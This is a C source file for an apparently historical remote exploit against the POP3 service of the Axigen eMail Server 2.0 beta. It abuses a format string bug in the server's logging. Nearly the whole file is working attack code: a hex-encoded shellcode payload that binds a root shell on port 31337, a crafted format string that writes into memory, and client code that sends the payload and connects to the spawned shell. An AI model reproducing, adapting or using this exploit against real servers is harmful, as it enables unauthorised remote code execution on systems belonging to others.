/* axiagen.c * * Axigen eMail Server v2.0 (beta) * by fuGich Tue Dec 5 2006 * * thanks to mu-b * * - Tested on: Axigen V2 (beta) * * logType for the pop3 service must be "system" and * the logLevel set to any number with 4th bit set * * remote shell format string vulnerability in pop3 * /bin/sh to bind to port 31337 * * optimised format string generated with libforSC * used hhn for writes, could have been hn's but this was small enough and reduces size of log entry generated * */ #include #include #include #include #include #define DEF_PORT 110 #define PORT_POP3 DEF_PORT char formatString[] = // plt fixup code "\xba\xd8\xbe\x85\x09" // mov $0x985bed8,%edx "\xc7\x02\x9a\xf0\x04\x08" // movl $0x804f09a,(%edx) "\x8d\x52\x04" // lea 0x4(%edx),%edx "\xc6\x02\xaa" // movb $0xaa,(%edx) "\x90\x90\x90" // make divisible by 8 // // bind shell with fork to port 31337 98 bytes // "\x6a\x66" // push $0x66 "\x58" // pop %eax "\x99" // cltd "\x6a\x01" // push $0x1 "\x5b" // pop %ebx "\x52" // push %edx "\x53" // push %ebx "\x6a\x02" // push $0x2 // // <_doint>: // "\x89\xe1" // mov %esp,%ecx "\xcd\x80" // int $0x80 "\x5b" // pop %ebx "\x5d" // pop %ebp "\x52" // push %edx "\x66\xbd\x69\x7a" // mov $0x7a69,%bp (0x7a69 = 31337) "\x0f\xcd" // bswap %ebp "\x09\xdd" // or %ebx,%ebp "\x55" // push %ebp "\x6a\x10" // push $0x10 "\x51" // push %ecx "\x50" // push %eax "\x89\xe1" // mov %esp,%ecx "\xb0\x66" // mov $0x66,%al "\xcd\x80" // int $0x80 "\xb3\x04" // mov $0x4,%bl "\xb0\x66" // mov $0x66,%al "\xcd\x80" // int $0x80 // // <_acceptloop>: // "\x5f" // pop %edi "\x50" // push %eax "\x50" // push %eax "\x57" // push %edi "\x89\xe1" // mov %esp,%ecx "\x43" // inc %ebx "\xb0\x66" // mov $0x66,%al "\xcd\x80" // int $0x80 "\x93" // xchg %eax,%ebx "\xb0\x02" // mov $0x2,%al "\xcd\x80" // int $0x80 "\x85\xc0" // test %eax,%eax "\x75\x1a" // jne <_parent> "\x59" // pop %ecx // // <_dup2loop>: // "\xb0\x3f" // mov $0x3f,%al "\xcd\x80" // int $0x80 "\x49" // dec %ecx "\x79\xf9" // jns <_dup2loop> "\xb0\x0b" // mov $0xb,%al "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // push %ebx "\xeb\xb2" // jmp <_doint> // // <_parent>: // "\x6a\x06" // push $0x6 "\x58" // pop %eax "\xcd\x80" // int $0x80 "\xb3\x04" // mov $0x4,%bl "\xeb\xc9" // jmp <_acceptloop> // // 9 write addresses // "\xd8\xbe\x85\x09" // pointer @ 0x0985bed8 "\xd9\xbe\x85\x09" "\xda\xbe\x85\x09" "\xdb\xbe\x85\x09" "\xe0\xbe\x85\x09" // place shell code @ 0x0985bee0 "\xe1\xbe\x85\x09" "\xe2\xbe\x85\x09" "\xe3\xbe\x85\x09" "\xe4\xbe\x85\x09" // add the format string "%18u%66$n%34u%65$hhn%31u%72$hhn%10u%68$hhn%31u%71$hhn%87u%70$hhn%14u%69$hhn%90u%73$hhn%158u%67$hhn\r\n"; static int sock_send (int sock, u_char * src, int len); static void formatme (u_char * host); static int sockami (u_char * host, int port); void shell (int sock); void shell (int sock){ /* Attach to Remote Shell */ int l; char buf[512]; fd_set rfds; while (1) { FD_SET (0, &rfds); FD_SET (sock, &rfds); select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) { printf("\n - Connection closed by local user\n"); exit (EXIT_FAILURE); } write (sock, buf, l); } if (FD_ISSET (sock, &rfds)) { l = read (sock, buf, sizeof (buf)); if (l == 0) { printf ("\n - Connection closed by remote host.\n"); exit (EXIT_FAILURE); } else if (l < 0) { printf ("\n - Read failure\n"); exit (EXIT_FAILURE); } write (1, buf, l); } } } static int sock_send (int sock, u_char * src, int len){ /* send data to the open socket */ int sbytes; sbytes = send (sock, src, len, 0); return (sbytes); } static int sockami (u_char * host, int port){ /* create the socket */ struct sockaddr_in address; struct hostent *hp; int sock; fflush (stdout); if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1){ perror ("socket()"); exit (-1); } if ((hp = gethostbyname (host)) == NULL){ perror ("gethostbyname()"); exit (-1); } memset (&address, 0, sizeof (address)); memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length); address.sin_family = AF_INET; address.sin_port = htons (port); if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1){ perror ("connect()"); exit (EXIT_FAILURE); } return (sock); } static void formatme (u_char * host){ /* do the evil */ int sock; printf ("+Connecting to %s:%d ", host, PORT_POP3); sock = sockami (host, PORT_POP3); printf ("\n+Sending format string\n"); sock_send (sock, formatString, strlen (formatString)); fflush (stdout); sleep(2); printf ("+Connecting to Shell "); sock = sockami (host, 31337); printf ("- Done\n"); shell(sock); } int main (int argc, char **argv){ /* go figure */ printf ("Axigen 2.0 beta Remote pop3 exploit\n" "by: \n\n"); if (argc <= 1) { fprintf (stderr, "Usage: %s \n\n", argv[0]); exit (EXIT_SUCCESS); } formatme (argv[1]); }